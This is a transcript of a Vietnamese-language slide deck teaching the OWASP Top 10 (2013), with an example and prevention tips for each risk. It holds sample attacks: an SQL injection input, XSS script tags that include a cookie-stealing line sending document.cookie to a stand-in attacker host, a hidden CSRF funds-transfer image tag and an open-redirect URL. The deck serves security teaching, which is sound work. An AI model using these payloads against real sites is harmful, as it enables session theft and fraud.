Owasp top 10
-
Upload
linh-hoang -
Category
Technology
-
view
26 -
download
4
Transcript of Owasp top 10
OWASP Top 10 - 2013
The ten most critical web application security risks
A1 InjectionKhái niệm
•Lỗi Injection là lỗi xảy ra khi người tấn công nhập một dữ liệu làm thi hành những câu lệnh không ý muốn trên hệ thống
•Một trang web dùng đoạn code sau để lấy dữ liệu từ ô nhập dữ liệu của trang web:
txtUserId = getRequestString("UserId");txtSQL = "SELECT * FROM Users WHERE UserId = " + txtUserId;
A1 Injection
User 105
txtUserId = “105”txtSQL = "SELECT * FROM Users WHERE UserId = " + “105”;
105 Linh 1996
Lỗ hổng
txtUserId = getRequestString("UserId");txtSQL = "SELECT * FROM Users WHERE UserId = " + txtUserId;
15 or 1 = 1
A1 Injection
•Nếu biến txtUserId không được kiểm tra, thì người tấn công có thể nhập một dữ liệu đầu vào không theo ý của người phát triển
• i.e: người dùng nhập vào một String, UserID là một integer
User
txtUserId = “15 or 1 = 1”txtSQL = "SELECT * FROM Users WHERE UserId = " + “15 or 1 = 1”;
105 L 213
106 Z 234
1 A 5254
:
Lỗ hổng
• Lấy dữ liệu trực tiếp của người dùng nhập vào qua một tham số cho một hàm để được kiểm tra và xử lý
• Lập một danh sách kiểm tra nhũng ký tự được cho phép • Ví dụ: Chỉ được nhập chữ cái, không được nhập ký tự đặc
biệt
Cách phòng tránh
txtUserId = getRequestString("UserId");txtSQL = "SELECT * FROM Users WHERE UserId = @0";db.Execute(txtSQL,txtUserId);
(txtUserId được thay vào @0)
A2 Broken Authentication and Session Mangagement
Khái niệm•Những chức năng của ứng dụng liên quan đến xác thực và quản lí phiên đăng nhập thường không được thiết kế chính xác
• Ví dụ: Ứng dụng không bắt buộc người sử dụng dùng một mật khẩu an toàn. Người sử dụng có thể dùng một mật khẩu như “1234”
•Qua đó người tấn công có thể lấy cắp mặt khẩu, hay token của phiên đăng nhập
•A mượn điện thoại của B để vào tài khoản Facebook của A
•A quên không đăng xuất tài khoản Facebook của mình
•Phiên đăng nhập tài khoản của A không hết hạn, B có thể dùng được tài khoản của A
Lỗ hổngA2 Broken Authentication and Session Management
• Thiết kế các chức năng liên quan đến xác thực và quản lý phiên đăng nhập theo tiêu chuẩn của OWASP • Tham khảo thêm: https://www.owasp.org/index.php/ASVS
• Tránh lỗi XSS để không bị lấy cắp ID phiên đăng nhập (lỗi A3 Cross Site Scripting sẽ được nói ở phần sau)
A2 Broken Authentication and Session Management Cách phòng tránh
A3 Cross-Site Scripting
Khái niệm•Lỗi XSS xảy ra khi một ứng dụng nhận vào những dữ liệu không đáng tin và gửi những dữ liệu đấy cho trình duyệt của người dùng
• Ví dụ:một đoạn Javascript:<script%20src="http://mallorysevilsite.com/authstealer.js">
•Lỗi XSS thường giúp người khai thác chiếm phiên đăng nhập của người dùng, “deface” trang web hay dẫn người dùng đến những trang web lừa đảo
•A dùng trang web của B
•Trang web của B cho phép A lập tài khoản và chứa những thông tin riêng tư
•Trang web của B có lỗi XSS trong chức năng tìm kiếm
http://bobssite.org?q=search term
A3 Cross-Site Scripting Lỗ hổng
search term
A3 Cross-Site Scripting
• Chức năng tìm kiếm của trang web khi nhận được một query:
• Trang web sẽ hiện ra
"http://bobssite.org?q=puppies
Lỗ hổng
http://bobssite.org?q=puppies
puppies
puppies not found
A3 Cross-Site Scripting
• Chức năng tìm kiếm của trang web khi nhận được một query bất thường như:
• Trang web sẽ hiện ra
<script type='text/javascript'>alert('pwnd');</script>
Lỗ hổng
http://bobssite.org?q=<script…
<script ….
<script …. not foundpwnd
A3 Cross-Site Scripting
• C tìm ra lỗi này của trang web B
• C tạo ra URL
• C gửi URL cho những thành viên của trang web B
http://bobssite.org?q=puppies<script%20src="http://mallorysevilsite.com/authstealer.js">
Lỗ hổng
Check out this cute puppy. http://bobssite.org?q=puppies<script%20….
From: [email protected]
A3 Cross-Site Scripting
•A nhận được email và click vào link
•Link dẫn đến trang web của B và hiện ra “puppies not found”
•Script authstealer.js trong URL được thực hiện
•Script này lấy thông tin xác thực của A và gửi cho trang web của C
Lỗ hổng
Ví dụ: một đoạn trong authstealer.jsnew Image().src ='http://evil.example.org/steal.php?cookies=' + encodeURI(document.cookie);
A3 Cross-Site Scripting
• “Escape” tất cả những dữ liệu không đáng tin cậy một cách hợp lý khi dữ liệu được đưa vào
• Ví dụ:
• Tham khảo thêm về HTML escaping:
• Lập danh sách những dữ liệu được phép nhập vào• Ví dụ: Chỉ được nhập chữ cái, không được nhập ký tự đặc biệt
• Với những dữ liệu như hình ảnh, video, có thể dùng những thư viện kiểm tra tự động như AntiSamy (OWASP)
Cách phòng tránh
& --> & < --> < > --> >
https://www.owasp.org/index.php/XSS_(Cross_Site_Scripting)_Prevention_Cheat_Sheet
Tham khảo thêm về dự án AntiSamy: https://www.owasp.org/index.php/AntiSamy
A4 Insecure Direct Object References
Khái niệm
•Lỗi xảy ra khi người phát triển để lộ quyền truy cập vào những đối tượng bên trong hệ thống, như file, những thư mục bên trong hệ thống
http://example.com/app/editInfo?acct=123
A4 Insecure Direct Object References Lỗ hổng
•Một người dùng dùng trang web sau để thay đổi tài khoản của mình
Name
Age
JaneFoster
• Người dùng thử thay đổi số ‘acct’ của mình
• Người dùng có thể thay đổi tài khoản của người khác
A4 Insecure Direct Object References Lỗ hổng
http://example.com/app/editInfo?acct=124
Name
Age
AdamIo
A4 Insecure Direct Object References
• Kiểm tra quyền truy cập trực tiếp đến đối tượng
• Khi cung cấp quyền truy cập trực tiếp đến một đối tượng, ứng dụng cần xác thực liệu người dùng có quyền truy cập đối tượng hay không
Cách phòng tránh
A4 Insecure Direct Object References
• Chỉ cung cấp quyền truy cập gián tiếp đến những đối tượng mà người dùng hiện tại được phép truy cập
Cách phòng tránh
A5 Security Misconfiguration
Khái niệm
•Lỗi xảy ra khi admin dùng những cài đặt không an toàn cho hệ thống hoặc dùng cài đặt mặc định
•Ứng dụng quản lý server của admin được cài đặt mặc định
•Ví dụ: Window Server 2008, Java Application Server
•Người tấn công truy cập vào trang admin trên server, dùng tài khoản admin mặc định, và chiếm quyền kiểm soát
A5 Security Misconfiguration Lỗ hổng
A5 Security Misconfiguration
• Có một quy trình rõ ràng khi áp dụng một môi trường mới cho hệ thống
• Cập nhật hệ thống một cách hợp lý và nhanh chóng khi có bản mới
• Ví dụ:Nên cập nhật nhanh nhất có thể khi bản mới đã ổn định khi chạy cho ứng dụng
• Thiết kế ứng dụng để có những tách biệt an toàn giữa các thành phần
• Kiểm tra cài đặt của hệ thống định kỳ
Cách phòng tránh
A6 Sensitive Data Exposure
Khái niệm•Lỗi xảy ra khi những thông tin nhạy cảm (như thẻ tín dụng, thông tin xác thực) không được bảo vệ kỹ lưỡng
•Khi đó, người tấn công có thể lấy cắp hoặc thay đổi nhũng thông tin ấy
A6 Sensitive Data Exposure Lỗ hổng
• Một trang web có trang đăng nhập tài khoản:
• Trang web thiết kế ô password với phần password được hiển thị khi người dùng nhập vào
www.example.com/login
User hello123
Password Password123
A6 Sensitive Data Exposure Lỗ hổng
• Ô password nên được che bằng kí tự khác khi được người dùng nhập vào
www.example.com/login
User hello123
Password ****************
A6 Sensitive Data Exposure
• Không lưu trữ những thông tin nhạy cảm nếu không cần thiết
• Mã hoá tất cả những dữ liệu nhạy cảm
• Dùng những quy trình tiêu chuẩn và thuật toán an toàn để quản lý dữ liệu
• Tham khảo thêm: • http://csrc.nist.gov/groups/STM/cmvp/documents/140-1/140val-
all.htm• Vô hiệu hoá autocomplete khi yêu cầu người dùng điền vào nhũng dữ liệu nhạy cảm
• Vô hiệu hoá caching ở những trang chứa dữ liệu nhạy cảm
Cách phòng tránh
A7 Missing Function Level Access Control
Khái niệm
• Lỗi xảy ra khi quyền sử dụng tính năng của một ứng dụng không được xác thực hợp lý
• Khi đó, người tấn công có thể sử dụng tính năng của ứng dụng mà mình không được phép
• Người tấn công truy cập những địa chỉ URL ở dưới. Cả hai đều cần xác thực. ‘admin_getappinfo’ còn cần quyền truy cập của admin
• Trang web đầu tiên có thể vào được bởi tài khoản bình thường
• Trang web thứ hai chỉ nên được truy cập bởi tài khoản admin
http://example.com/app/getappInfo
A7 Missing Function Level Access Control Lỗ hổng
http://example.com/app/admin_getappInfo
• Nếu người tấn công dùng tài khoàn bình thường của mình để vào trang admin_getappinfo thành công, ứng dụng web đã có lỗ hổng
A7 Missing Function Level Access Control Lỗ hổng
http://example.com/app/admin_getappInfo
http://example.com/app/admin_getappInfo
A7 Missing Function Level Access Control
• Đảm bảo việc quản lý quyền sử dụng các tính năng dễ dàng và hợp lý
• Đảm bảo rằng mỗi tính năng của ứng dụng chỉ có thể được truy cập bởi một nhóm người dùng nhất định
Cách phòng tránh
A8 Cross-Site Request Forgery (CSRF)
Khái niệm
• Lỗi xảy ra khi người tấn công làm trình duyệt của người dùng gửi một yêu cầu giả đến trang web. Nếu mà người dùng đã được xác thực với trang web ấy, yêu cầu sẽ được thực hiện
• Ứng dụng cho phép người dùng thực hiện yêu cầu chuyển tiền:
• Người tấn công xây dựng một yêu cầu chuyển tiền cho tài khoản của mình từ tài khoản của người sử dụng, rồi giấu nó vào một thẻ hình ảnh của trang web thuộc quyền điều khiển của người tấn công
<img src="http://example.com/app/transferFunds? amount=1500&destinationAccount=attackersAcct#“ width="0" height="0" />
http://example.com/app/transferFunds?amount=1500 &destinationAccount=4673243243
A8 Cross-Site Request Forgery (CSRF)
Lỗ hổng
•Nếu nạn nhân truy cập trang web nào đó của người tấn công, thẻ img sẽ được tải bởi trình duyệt
•Nếu như nạn nhân đang xác thực vào trang web example.com, yêu cầu sẽ được thực hiện
A8 Cross-Site Request Forgery (CSRF)
Lỗ hổng
• Khi người dùng thực hiện một yêu cầu HTTP, nên có một giá trị đặc biệt, không nằm trong URL
• OWASP cung cấp một công cụ là CSRF Guard, tự động thêm vào một giá trị đặc biệt
• https://www.owasp.org/index.php/CSRFGuard
A8 Cross-Site Request Forgery (CSRF)
Cách phòng tránh
• Có thể yêu cầu người dùng xác thực lại khi thực hiện một yêu cầu
A8 Cross-Site Request Forgery (CSRF)
Cách phòng tránh
A9 Using Components with Known Vulnerabilities
Khái niệm
•Lỗi xảy ra khi một thành phần của thư viện có lỗ hổng, khiến hệ thống sử dụng thư viện dễ bị tấn công
•Giả sử có một thư viện bị lỗi xác thực danh tính của người đăng nhập
•Thư viện đã được cập nhật phiên bản mới với bản vá lỗi được công bố
•Một trang web dùng thư viện ấy nhưng chưa cập nhật bản vá lỗi
•Người tấn công có thể tấn công vào trang web qua thành phần bị lỗi
A9 Using Components with Known Vulnerabilities
Lỗ hổng
• Nhận diện tất cả các thư viện mà hệ thống đang sử dụng
• Giám sát sự an toàn của những thư viện, đảm bảo các thư viện luôn được cập nhật
• Có quy trình khi áp dụng một thành phần mới vào hệ thông
• Thiết kế để ứng dụng sử dụng những thành phần của thư viện một cách an toàn
A9 Using Components with Known Vulnerabilities
Cách phòng tránh
A10 Unvalidated Redirects and Forwards
Khái niệm
• Lỗi xảy ra khi trang web không xác thực các yêu cầu chuyển hướng đến một trang web khác
• Ứng dụng có một trang gọi là “redirect.jsp” để chuyển hướng đến trang trong tham số ‘url’. Người tấn công xây dựng một URL để làm người dùng truy cập một trang web khác để thực hiện hành vi lừa đảo
• Ví dụ:• http://www.example.com/redirect.jsp?url=evil.com
Lỗ hổngA10 Unvalidated Redirects and Forwards
• Không dùng lệnh chuyển hướng nếu không cần thiết
• Không dùng tham số khi thực hiện lệnh chuyển hướng
• Nếu phải dùng tham số, đảm bảo lệnh chuyển hướng chính xác và an toàn
A10 Unvalidated Redirects and Forwards
Cách phòng tránh